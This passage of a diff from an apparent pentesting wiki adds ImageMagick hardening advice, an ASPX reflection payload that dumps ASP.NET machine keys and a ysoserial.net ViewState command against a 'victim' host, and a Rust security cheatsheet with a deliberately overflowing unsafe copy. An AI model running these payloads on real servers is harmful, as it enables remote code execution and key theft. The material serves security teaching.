If the output shows the `MVG` or `URL` coders are *enabled* the target is probably exploitable.
## Mitigations
1. **Patch/Upgrade** Use ImageMagick ≥ *7.1.1-11* (or the latest 6.x LTS) and Imagick ≥ *3.7.2*.
2. **Harden `policy.xml`** explicitly *disable* high-risk coders:
```xml
<policy domain="coder" name="MVG" rights="none"/>
<policy domain="coder" name="MSL" rights="none"/>
<policy domain="coder" name="URL" rights="none"/>
<policy domain="coder" name="VIDEO" rights="none"/>
<policy domain="coder" name="PS" rights="none"/>
<policy domain="coder" name="TEXT" rights="none"/>
```
3. **Remove the extension** on untrusted hosting environments. In most web stacks `GD` or `Imagick` is not strictly required.
4. Treat `disable_functions` only as *defence-in-depth* never as a primary sandboxing mechanism.
## References
* [GitHub ImageMagick issue #6338 Command injection via video:pixel-format (2023)](https://github.com/ImageMagick/ImageMagick/issues/6338)
* [CVE-2020-29599 ImageMagick shell injection via text: coder](https://nvd.nist.gov/vuln/detail/CVE-2020-29599)
{{#include ../../../../banners/hacktricks-training.md}} {{#include ../../../../banners/hacktricks-training.md}}

View File

@ -202,12 +202,48 @@ For all the test cases, if the ViewState YSoSerial.Net payload works **successfu
Check for [further information here](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>) Check for [further information here](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
### Dumping ASP.NET Machine Keys via Reflection (SharPyShell/SharePoint ToolShell)
Attackers who are able to **upload or execute arbitrary ASPX code** inside the target web root can directly retrieve the secret keys that protect `__VIEWSTATE` instead of bruteforcing them.
A minimal payload that leaks the keys leverages internal .NET classes through reflection:
```csharp
<%@ Import Namespace="System.Web.Configuration" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
public void Page_Load(object sender, EventArgs e)
{
var asm = Assembly.Load("System.Web");
var sect = asm.GetType("System.Web.Configuration.MachineKeySection");
var m = sect.GetMethod("GetApplicationConfig", BindingFlags.Static | BindingFlags.NonPublic);
var cfg = (MachineKeySection)m.Invoke(null, null);
// Output: ValidationKey|DecryptionKey|Algorithm|CompatibilityMode
Response.Write($"{cfg.ValidationKey}|{cfg.DecryptionKey}|{cfg.Decryption}|{cfg.CompatibilityMode}");
}
</script>
```
Requesting the page prints the **ValidationKey**, **DecryptionKey**, the encryption algorithm and the ASP.NET compatibility mode. These values can now be fed straight into **ysoserial.net** to create a valid, signed `__VIEWSTATE` gadget:
```bash
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
-c "powershell -nop -c \"whoami\"" \
--generator=<VIEWSTATE_GENERATOR> \
--validationkey=<VALIDATION_KEY> --validationalg=<VALIDATION_ALG> \
--decryptionkey=<DECRYPTION_KEY> --decryptionalg=<DECRYPTION_ALG> \
--islegacy --minify
curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"
```
This **key-exfiltration primitive** was mass-exploited against on-prem SharePoint servers in 2025 ("ToolShell" CVE-2025-53770/53771), but it is applicable to any ASP.NET application where an attacker can run server-side code.
## References ## References
- [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/) - [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817) - [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
- [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/) - [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
- [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets) - [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
- [SharePoint “ToolShell” exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/)

View File

@ -101,6 +101,8 @@ Some **specific functionalities** may be also vulnerable if a **specific format
- [ ] [**Email Header Injection**](email-injections.md) - [ ] [**Email Header Injection**](email-injections.md)
- [ ] [**JWT Vulnerabilities**](hacking-jwt-json-web-tokens.md) - [ ] [**JWT Vulnerabilities**](hacking-jwt-json-web-tokens.md)
- [ ] [**XML External Entity**](xxe-xee-xml-external-entity.md) - [ ] [**XML External Entity**](xxe-xee-xml-external-entity.md)
- [ ] [**GraphQL Attacks**](../network-services-pentesting/pentesting-web/graphql.md)
- [ ] [**gRPC-Web Attacks**](grpc-web-pentest.md)
### Files ### Files
@ -129,6 +131,3 @@ These vulnerabilities might help to exploit other vulnerabilities.
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -320,4 +320,72 @@ fn main() {
``` ```
### Security Essentials
Rust provides strong memory-safety guarantees by default, but you can still introduce critical vulnerabilities through `unsafe` code, dependency issues or logic mistakes. The following mini-cheatsheet gathers the primitives you will most commonly touch during offensive or defensive security reviews of Rust software.
#### Unsafe code & memory safety
`unsafe` blocks opt-out of the compilers aliasing and bounds checks, so **all traditional memory-corruption bugs (OOB, use-after-free, double free, etc.) can appear again**. A quick audit checklist:
* Look for `unsafe` blocks, `extern "C"` functions, calls to `ptr::copy*`, `std::mem::transmute`, `MaybeUninit`, raw pointers or `ffi` modules.
* Validate every pointer arithmetic and length argument passed to low-level functions.
* Prefer `#![forbid(unsafe_code)]` (crate-wide) or `#[deny(unsafe_op_in_unsafe_fn)]` (1.68 +) to fail compilation when someone re-introduces `unsafe`.
Example overflow created with raw pointers:
```rust
use std::ptr;
fn vuln_copy(src: &[u8]) -> Vec<u8> {
let mut dst = Vec::with_capacity(4);
unsafe {
// ❌ copies *src.len()* bytes, the destination only reserves 4.
ptr::copy_nonoverlapping(src.as_ptr(), dst.as_mut_ptr(), src.len());
dst.set_len(src.len());
}
dst
}
```
Running Miri is an inexpensive way to detect UB at test time:
```bash
rustup component add miri
cargo miri test # hunts for OOB / UAF during unit tests
```
#### Auditing dependencies with RustSec / cargo-audit
Most real-world Rust vulns live in third-party crates. The RustSec advisory DB (community-powered) can be queried locally:
```bash
cargo install cargo-audit
cargo audit # flags vulnerable versions listed in Cargo.lock
```
Integrate it in CI and fail on `--deny warnings`.
`cargo deny check advisories` offers similar functionality plus licence and ban-list checks.
#### Supply-chain verification with cargo-vet (2024)
`cargo vet` records a review hash for every crate you import and prevents unnoticed upgrades:
```bash
cargo install cargo-vet
cargo vet init # generates vet.toml
cargo vet --locked # verifies packages referenced in Cargo.lock
```
The tool is being adopted by the Rust project infrastructure and a growing number of orgs to mitigate poisoned-package attacks.
#### Fuzzing your API surface (cargo-fuzz)
Fuzz tests easily catch panics, integer overflows and logic bugs that might become DoS or side-channel issues:
```bash
cargo install cargo-fuzz
cargo fuzz init # creates fuzz_targets/
cargo fuzz run fuzz_target_1 # builds with libFuzzer & runs continuously
```
Add the fuzz target to your repo and run it in your pipeline.
## References
- RustSec Advisory Database <https://rustsec.org>
- Cargo-vet: "Auditing your Rust Dependencies" <https://mozilla.github.io/cargo-vet/>
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}